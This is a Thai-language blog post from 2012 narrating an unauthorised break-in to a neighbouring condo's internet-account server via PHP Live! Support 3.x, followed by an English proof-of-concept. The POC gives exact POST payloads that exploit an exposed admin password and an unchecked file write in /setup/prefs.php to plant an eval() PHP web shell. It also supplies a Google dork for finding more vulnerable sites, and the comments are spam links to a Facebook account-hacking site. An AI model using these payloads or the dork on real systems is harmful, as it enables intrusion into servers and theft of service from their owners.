Saturday, May 19, 2012

PHP Live!

จริงๆ อันนี้ เขียนไว้ นานแระ
แต่พอเปลี่ยน db ดันลืม เอามาไว้ .. ก็เลยเอากลับมาลงอีกที



เรื่องของเรื่อง คือ เจ้าเอ็ก
ซึ่งปกติ มันแฮก user ของเน็ตไวไฟ ของคอนโด ข้างๆ มาใช้
ตรงส่วนนี้ บอกตรงๆ ผมไม่เคย แฮก ไวเรส ชาวบ้าน
เพราะ ระแวก 5 กิโลเมตร รอบบ้าน ก็มีแค่ผม เจ้าเดียวมั้ง ที่ใช้เน็ต
(อ่านตอนแรก เหมือนจะ เป็น คนดี .. ที่ไหนได้ เซาะกราว ขนาด)


แต่ผมเดาว่า วิธีการของ เจ้าเอ็ก
คงจะดัก mac address ของคนที่ใช้งาน
แล้วทำการ ปลอม mac address เข้าไปใช้เน็ตเอา
(อยากรู้ระเอียด ไปถามมันเอง หรือ มาสอนผมด้วยแล้วกันเด้อ)

ทีนี้ปัญหามันก็มีอยู่ว่า ..
เจ้าเอ็ก มันอยาก จะได้ user เป็นของตัวมันเอง
ประมาณว่า มันเริ่มไม่อยาก ใช้ user ของชาวบ้านเค้าแล้วนั่นแหละ
(แมร่งได้ฟังแล้วดูเหมือน มันจะเป็นคนดี นิดๆ .. แต่ พฤติกรรม มันไม่ใช่ว่ะครับ)


เอาล่ะ อ่านถึงตรงนี้แล้ว
ผมก็อยากให้มี คำถาม ที่กระเด้งขึ้นมาในหัวของผู้อ่าน คือ
"แล้วเราทำไง จะไปยัด user ของเราเข้าไปได้ล่ะวะครับ ?"
(อยากให้ผู้อ่านได้ จินตนาการ ว่า เรา กำลังแฮกอยู่นั่นเอง)

และ คำตอบ ที่ผมอยากให้ผู้อ่านคิดเองได้ ก็คือ
"ต้องแฮกเครื่อง server ของหอพักให้ได้ จากนั้นเข้าไปยัด user ที่ต้องการใช้ใส่เข้าไปใน database"

ถึงตรงนี้ จริงๆ ผมก็อยากจะอ้าง ว่าทางบ้านฐานะยากจน
เพื่อให้ดูน่าสงสาร และ ไม่มีความผิด ในการแฮก แต่คิดว่าคงไม่ได้ผล T^T
งั้น เอาเป็น อ้างว่า ทำไงได้ .. คนมันชอบของฟรี ก็แล้วกัน
(ขอสารภาพว่า แมร่งผิด กม. กันตั้งแต่ในความคิดแล้วล่ะว่ะครับ)

และ คำถามจากผมที่มีต่อเจ้าเอ็ก ..
เล็ก : มึงไม่แฮกเองวะ ?
เอ็ก : แฮกไม่ได้ มันไม่รั่ว !!
(ตอบได้ดี .. มึงจะใช้งานกูซินะ !@#$%^&*!@#$%^&)



เอาล่ะ . . ผมก็เริ่มจาก สำรวจ เครื่อง server
ก็ประมาณว่า .. ทั้งเครื่อง เค้าไม่มี อะไรเลย
นอกจากระบบ จัดการ user (หน้า log in/log out)
ซึ่ง เป็น สคิปอะไรก็ไม่รู้ (พวก สคิปเขียนเอง เนี้ย เดาทางหารูโหว่ ลำบาก)
ผมก็ลอง sqli injection ตรงหน้า login แล้วก็ยังไม่ได้
(ผมคิดว่า เอ็กมันคงลองแล้วแหละ ก่อนจะมาใช้ผมทำ)

แต่ผมไปเตะตา อยู่ พาธ หนึ่ง คือ พาธ /support
ซึ่ง มันเป็น script ที่ชื่อว่า php live!
ผมก็เลย ไปคุ้ยๆ ใน google ดู
ก็เจอเวปผู้ผลิต คือ http://www.phplivesupport.com

ไอ้ตอนแรก ผมก็กะจะโหลดมา แงะ ดู ซะหน่อย
แต่แมร่งราคา 149.95$ ... (ป๊าดดด ติโธ่ แพงแท้เหลา)

ผมก็เลยไปคุ้ย null script ของ php live ตัวนี้
และ ไปได้มาจาก เวปแจก null script ของ rusian มั้ง
ซึ่งเป็น version 3.2 (แต่เอาวะ คงไม่ต่างกันเท่าไหร่)

จากนั้น ผมก็เริ่มทำการแงะ ..
ผมก็นั่งอ่าน+แกะ ฟังชั่นมันทีละ file ...
(แมร่ง ผมนี้ก็เหมือนว่างงาน มากเลยนะเนี้ย)

ซักพัก ผมก็ไปเจอ พาธ /super/profile.php
ซึ่ง ดูๆแล้ว มันมี พาส admin สำหรับติดตั้ง แสดง อยู่
ซึ่งผมล่ะงง ว่ามันเขียนไงของมันวะ
ให้ user ธรรมดาๆ มองเห็น พาส admin ได้

และก็ลองเอาพาสที่ได้ login เข้า ไประบบจัดการภายใน (ซึ่งใช้ได้ ซะด้วย)

ก็เข้าไปงมใน เมนู admin ตั้งน๊านนนนน
แต่ก็ยังไม่สามารถ หาทางทำอะไร เครื่องเป้าหมายได้
คือ ไม่สามารถ เข้า database ได้,
ไม่สามารถ ดึง shell ขึ้นมาใช้งานได้
สรุปคือ พาสแอดมินที่ได้มา มันก็แค่ พาสกระหลั่วๆ เอามาดีใจเล่น แค่นั้นเอง T^T

ผมก็เลย ไปแงะไฟล์ อื่นๆ ต่อ
ก็ไปเจอ ไฟล์ /setup/prefs.php ซึ่งในนั้น มีฟังชั่น fopen ของ php
(เจ้า ฟังชั่น fopen นี้มันเอาไว้เขียน file ได้)
แล้วสคิปก็ดันเขียนไม่ดี ... ตรงที่ ไฟล์นี้ รับค่าตัวแปรจากผู้ใช้
แล้วไปเขียนค่าที่รับในไฟล์เลย โดยที่ไม่มีการตรวจสอบก่อน !!!
(file อื่น มันตรวจนะ .. แต่ไฟล์นี้ดันไม่ตรวจ ผมล่ะ งง กะมัน)

ตรงนี้ .. อย่างที่ผม พยายามบอกตลอด
คือ มหาลัย หรือ หนังสือ ที่สอนๆ น่ะ
เค้าสอน มา ให้เขียน ให้ โปรแกรมทำงานได้
แต่ไม่ได้เขียน ว่าให้เช็คค่าต่างๆ ที่ผู้ใช้งานโปรแกรม กรอกเข้ามา
(ปัจจุบัน น่าจะเริ่มสอนแล้วมั้ง)

ดังนั้น
ช่องที่ให้กรอก ตัวเลข ... ถ้ามีผู้ใช้งานทะลึ่งๆแบบผม กรอกตัวอักษรเข้าไป
โปรแกรมก็อาจจะทำงานผิดพลาดได้ นั่นเอง

ทีนี้ ไอ้เจ้า ไฟล์ /setup/prefs.php มันมีตัวแปร ที่ชื่อว่า ip1, ip2, ip3, ip4
มีไว้รับค่าตัวเลข ที่จะเอามาเก็บเป็น ip address ที่จะเอาไว้แบน

อย่างที่บอกฮะ .. สคิปเค้ามีไว้ให้ใส่เลข .. แต่ผมทะลึ่ง ใส่ php script เพื่อใช้แฮกเข้าไปแทน
ผลคือ ... เราก็จะได้ RCE หรือ remote code execution
ไว้สำหรับควบคุมเครื่อง server ของหอพักข้างๆ เจ้าเอ็กแล้ว นั่นเองงงง




แต่เครื่อง server ดัน set perm root ไว้ ... สรุปว่า อดแดก อยู่ดี
เพราะ ต้องใช้พวก local exploit เพื่อ bypass เปลี่ยนสิทธิ์ จาก user apache ที่ได้มา
ให้เป็น root ให้ได้อีกที .. ซึ่งยุ่งยาก อีกขั้น
(แต่เวปอื่นๆ ผมเห็ย ไม่ใช่ root นะ)

แถม dork สำหรับแฮกจริง google --> "Powered by PHP Live!"

สรุป
- ถ้าหา exploit สำเร็จรูปที่เค้าแจกไม่ได้ ... ก็ต้อง โหลดมานั่งแงะเองทีละ file
- สคิปที่ต้องเสียเงินซื้อ ก็อาจจะมีช่องโหว่ได้
- เอ็ก เกรียน

ปล. งง ตรงไหน ถามนะ .. ผมจะได้ไปอธิบายเพิ่ม
ในหมวด คำศัพท์ เพราะ ผมก็ไม่รู้ว่าแต่ละคน มีพื้นฐานแค่ไหนเหมือนกันครับผม
(ผมก็ มั่วไปวันๆ จร้า)



รายละเอียด coding และ POC สามารถอ่านเพิ่มได้ด้านล่างนี้ครับผม
==========
[PHP Live! <=3.3 Remote Code Exec]

==========
[POC]
/setup/prefs.php <-- have File Manipulation exploit
hacker can write inject arbitrary code into file "../web/$session_setup[login]/$session_setup[login]-conf-init.php" with this vulnerability

==========
[How to]
1. "/super/profile.php" is not request password ... hacker can get USER-PASS and go to "SETUP" page

2. go to "/setup/" and login with user-pass from "/super/profile.php"

3. post injection code to /setup/prefs.php
$_POST --> action=exclude_ip&ip4=';if(isset($_POST[x]))eval($_POST[x]);#
$IPNOTRACK in "../web/$session_setup[login]/$session_setup[login]-conf-init.php"
it will be
$IPNOTRACK = '\';if(isset($_POST[x]))eval($_POST[x]);#';
yes, you can inject arbitrary code into file, but it not work becuz "\" right ?

4. post remove junk code to /setup/prefs.php agian ^^
$_POST --> action=remove_excluded_ip&excluded_ips=\s|\x27|\x5c|
$IPNOTRACK in "../web/$session_setup[login]/$session_setup[login]-conf-init.php"
it will be
$IPNOTRACK = '';if(isset($_POST[x]))eval($_POST[x]);#';
lol, now you can rape you shell in /web/<USER>/<USER>-conf-init.php

==========
[src prefs.php]
http://pastebin.com/rQ3aKtdd

==========
[dork]
Powered by PHP Live!

==========
[request]
x-code

==========
[found]
23/10/2010
windows98SE

==========
[for && thank]
All my friend

2 comments:

Mr. Keng said...

http://hackfbaccountlive.com/?ref=16376728

100% can hack

Unknown said...

http://hackfbaccountlive.com/?ref=19585046

Why You Don't LIKE My FaceBook Fanpage ?
×
blogger